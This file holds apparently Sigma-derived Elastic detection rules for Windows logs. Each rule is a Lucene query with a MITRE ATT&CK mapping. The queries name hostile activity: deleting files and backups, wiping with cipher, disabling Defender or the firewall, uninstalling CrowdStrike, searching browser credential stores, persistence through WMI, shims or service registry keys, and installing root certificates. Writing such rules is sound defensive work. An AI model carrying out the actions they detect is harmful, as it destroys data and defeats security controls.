{"description": "Adversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. \n", "enabled": false, "false_positives": ["Legitim script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "20af28b1-cf6e-93a7-351c-f5250d9c52f4", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Windows Cmd Delete File", "query": "((process.command_line:*del\\ * AND process.command_line:*\\/f*) OR (process.command_line:*rmdir* AND process.command_line:*\\/s* AND process.command_line:*\\/q*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.", "enabled": false, "false_positives": ["Legitime usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "595fc19d-de23-4068-4ec1-da74654e6a86", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Deletes Backup Files", "query": "(process.executable:*\\\\cmd.exe AND file.path:(*.VHD OR *.bac OR *.bak OR *.wbcat OR *.bkf OR *.set OR *.win OR *.dsk))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc6438f3-cf73-e73b-e945-e650035020fa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Overwrite Deleted Data with Cipher", "query": "(process.executable:*\\\\cipher.exe AND process.command_line:*\\ \\/w\\:*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cbd2cfcd-87bd-8bbe-06a7-d15e27c00182", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Microsoft Defender Firewall via Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\* AND winlog.event_data.TargetObject:*\\\\EnableFirewall AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f82bc59-4bfb-e3b6-d940-3e7a41f327e1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remove Windows Defender Definition Files", "query": "(winlog.event_data.OriginalFileName:\"MpCmdRun.exe\" AND process.command_line.text:*\\ \\-RemoveDefinitions* AND process.command_line.text:*\\ \\-All*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon", "enabled": false, "false_positives": ["Uninstall by admin"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "89266508-1c44-23bf-13bb-a3fa72ed6ccf", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Uninstall Crowdstrike Falcon", "query": "(process.command_line.text:*\\\\WindowsSensor.exe* AND process.command_line.text:*\\ \\/uninstall* AND process.command_line.text:*\\ \\/quiet*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c9ab0dd1-16f3-62d4-8ef0-93e93eed5c4a", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious SSL Connection", "query": "(powershell.file.script_block_text:*System.Net.Security.SslStream* AND powershell.file.script_block_text:*Net.Security.RemoteCertificateValidationCallback* AND powershell.file.script_block_text:*.AuthenticateAsClient*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1573"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "32aceca4-af21-e4d5-f5a5-1009357cbc33", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Detect Virtualization Environment", "query": "(powershell.file.script_block_text:(*Get\\-WmiObject* OR *gwmi*) AND powershell.file.script_block_text:(*MSAcpi_ThermalZoneTemperature* OR *Win32_ComputerSystem*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1497"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1497", "name": "Virtualization/Sandbox Evasion", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Duc.Le-GTSC"], "license": ""}
{"description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "859f1e90-0deb-1c4c-6095-f8c271fb5383", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Automated Collection Bookmarks Using Get-ChildItem PowerShell", "query": "(powershell.file.script_block_text:*Get\\-ChildItem* AND powershell.file.script_block_text:*\\ \\-Recurse\\ * AND powershell.file.script_block_text:*\\ \\-Path\\ * AND powershell.file.script_block_text:*\\ \\-Filter\\ Bookmarks* AND powershell.file.script_block_text:*\\ \\-ErrorAction\\ SilentlyContinue* AND powershell.file.script_block_text:*\\ \\-Force*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1217"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1217", "name": "Browser Bookmark Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "767961d3-8b37-93e7-9852-de320993705e", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Where Execution", "query": "((process.executable:*\\\\where.exe OR winlog.event_data.OriginalFileName:\"where.exe\") AND process.command_line:(*places.sqlite* OR *cookies.sqlite* OR *formhistory.sqlite* OR *logins.json* OR *key4.db* OR *key3.db* OR *sessionstore.jsonlz4* OR *History* OR *Bookmarks* OR *Cookies* OR *Login\\ Data*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1217"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1217", "name": "Browser Bookmark Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\nAdversaries may use the information from [File and Directory Discovery]() during automated discovery to shape follow-on behaviors,\nincluding whether or not the adversary fully infects the target and/or attempts specific actions. \n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1488245d-b6d6-f480-b54e-154a1dedd8a0", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Powershell File and Directory Discovery", "query": "(powershell.file.script_block_text:(*ls* OR *get\\-childitem* OR *gci*) AND powershell.file.script_block_text:*\\-recurse*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ad05d936-ddac-1aa7-db58-45ed525b4f8c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell WMI Persistence", "query": "(powershell.file.script_block_text:*New\\-CimInstance\\ * AND powershell.file.script_block_text:*\\-Namespace\\ root\\/subscription\\ * AND powershell.file.script_block_text:*\\-Property\\ * AND (powershell.file.script_block_text:*\\-ClassName\\ __EventFilter\\ * OR powershell.file.script_block_text:*\\-ClassName\\ CommandLineEventConsumer\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9078ec28-ee5e-de72-a5c1-8f4000748e5c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New Shim Database Created in the Default Directory", "query": "(file.path:*.sdb AND file.path:*\\\\Windows\\\\apppatch\\\\Custom\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b55589e3-453a-3586-b9b9-25ac16df9843", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Persistence Via Shim Database Modification", "query": "((winlog.event_data.TargetObject:(HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\InstalledSDB\\\\* OR HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Custom\\\\*) AND winlog.event_data.EventType:\"SetValue\") AND (NOT winlog.event_data.Details:\"\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "33fb96b2-74bd-3ae5-7524-8ca71b9494b6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Registry Key Creation or Modification for Shim DataBase", "query": "((winlog.event_data.TargetObject:(HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\InstalledSDB\\\\* OR HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Custom\\\\*) AND winlog.event_data.EventType:\"SetValue\") AND (NOT (winlog.event_data.Details:\"\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f690f572-accb-5b36-73c4-ed5f19dce195", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Screensaver Binary File Creation", "query": "(file.path.text:*.scr AND (NOT ((process.executable.text:(*\\\\Kindle.exe OR *\\\\Bin\\\\ccSvcHst.exe)) OR (process.executable.text:*\\\\TiWorker.exe AND file.path.text:*\\\\uwfservicingscr.scr))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", "enabled": false, "false_positives": ["GPO"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bcfc4586-0aa5-336b-4d6d-17d5acbf9fae", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious ScreenSave Change by Reg.exe", "query": "(process.executable:*\\\\reg.exe AND process.command_line:(*HKEY_CURRENT_USER\\\\Control\\ Panel\\\\Desktop* OR *HKCU\\\\Control\\ Panel\\\\Desktop*) AND process.command_line:*\\/t\\ REG_SZ* AND process.command_line:*\\/f* AND ((process.command_line:*\\/v\\ ScreenSaveActive* AND process.command_line:*\\/d\\ 1*) OR (process.command_line:*\\/v\\ ScreenSaveTimeout* AND process.command_line:*\\/d\\ *) OR (process.command_line:*\\/v\\ ScreenSaverIsSecure* AND process.command_line:*\\/d\\ 0*) OR (process.command_line:*\\/v\\ SCRNSAVE.EXE* AND process.command_line:*\\/d\\ * AND process.command_line:*.scr*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b23102ae-c723-97c4-b9b6-cbcd80d02c7c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Service Registry Permissions Weakness Check", "query": "(powershell.file.script_block_text:*get\\-acl* AND powershell.file.script_block_text:*REGISTRY\\:\\:HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "48cef6d3-b0f1-b6c0-a740-49d6f79925c1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Service ImagePath Change with Reg.exe", "query": "(process.executable:*\\\\reg.exe AND process.command_line:*add\\ * AND process.command_line:*SYSTEM\\\\CurrentControlSet\\\\Services\\\\* AND process.command_line:*\\ ImagePath\\ * AND process.command_line:(*\\ \\/d\\ * OR *\\ \\-d\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. \n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "12aa4345-6cfc-9ad8-7eb9-546c8399289b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Creation Exe for Service with Unquoted Path", "query": "file.path:\"C\\:\\\\program.exe\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5dab3030-47ed-0309-9f27-c492d224c564", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Trigger Profiles by Add_Content", "query": "(powershell.file.script_block_text:*Add\\-Content* AND powershell.file.script_block_text:*$profile* AND powershell.file.script_block_text:*\\-Value* AND powershell.file.script_block_text:(*Start\\-Process* OR *\\\"\\\"*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b29d45fa-1bc3-690d-0d90-8a55aec7ca86", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Root Certificate Installed From Susp Locations", "query": "(process.command_line.text:*Import\\-Certificate* AND process.command_line.text:*\\ \\-File\\-Path\\ * AND process.command_line.text:*Cert\\:\\\\LocalMachine\\\\Root* AND process.command_line.text:(*\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\:\\\\Windows\\\\TEMP\\\\* OR *\\\\Desktop\\\\* OR *\\\\Downloads\\\\* OR *\\\\Perflogs\\\\* OR *\\:\\\\Users\\\\Public\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "enabled": false, "false_positives": ["Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3048173d-74b6-88a2-f9d5-cd2f02cc0fd6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Root Certificate Installed", "query": "(powershell.file.script_block_text:*Cert\\:\\\\LocalMachine\\\\Root* AND (powershell.file.script_block_text:*Move\\-Item* OR powershell.file.script_block_text:*Import\\-Certificate*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "@redcanary", "Zach Stanford @svch0st"], "license": ""}
{"description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "enabled": false, "false_positives": ["Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3048173d-74b6-88a2-f9d5-cd2f02cc0fd6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Root Certificate Installed", "query": "(process.command_line.text:*root* AND ((process.executable.text:*\\\\certutil.exe AND process.command_line.text:*\\-addstore*) OR (process.executable.text:*\\\\CertMgr.exe AND process.command_line.text:*\\/add*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "@redcanary", "Zach Stanford @svch0st"], "license": ""}
{"description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b80cd08b-bceb-26dd-5593-8d4077981a90", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Query Registry", "query": "(process.executable.text:*\\\\reg.exe AND process.command_line.text:(*query* OR *save* OR *export*) AND process.command_line.text:(*currentVersion\\\\windows* OR *winlogon\\\\* OR *currentVersion\\\\shellServiceObjectDelayLoad* OR *currentVersion\\\\run* OR *currentVersion\\\\policies\\\\explorer\\\\run* OR *currentcontrolset\\\\services*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1007", "T1012"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1007", "name": "System Service Discovery", "reference": ""}, {"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. \n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1873ea3c-f1e2-1a54-d302-7a7a3f7d007f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remove Account From Domain Admin Group", "query": "(powershell.file.script_block_text:*Remove\\-ADGroupMember* AND powershell.file.script_block_text:*\\-Identity\\ * AND powershell.file.script_block_text:*\\-Members\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1531"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1531", "name": "Account Access Removal", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013) \n", "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7c278530-a9ac-cf21-7c9c-b2e52d3de801", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Registry-Free Process Scope COR_PROFILER", "query": "(powershell.file.script_block_text:*$env\\:COR_ENABLE_PROFILING* AND powershell.file.script_block_text:*$env\\:COR_PROFILER* AND powershell.file.script_block_text:*$env\\:COR_PROFILER_PATH*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
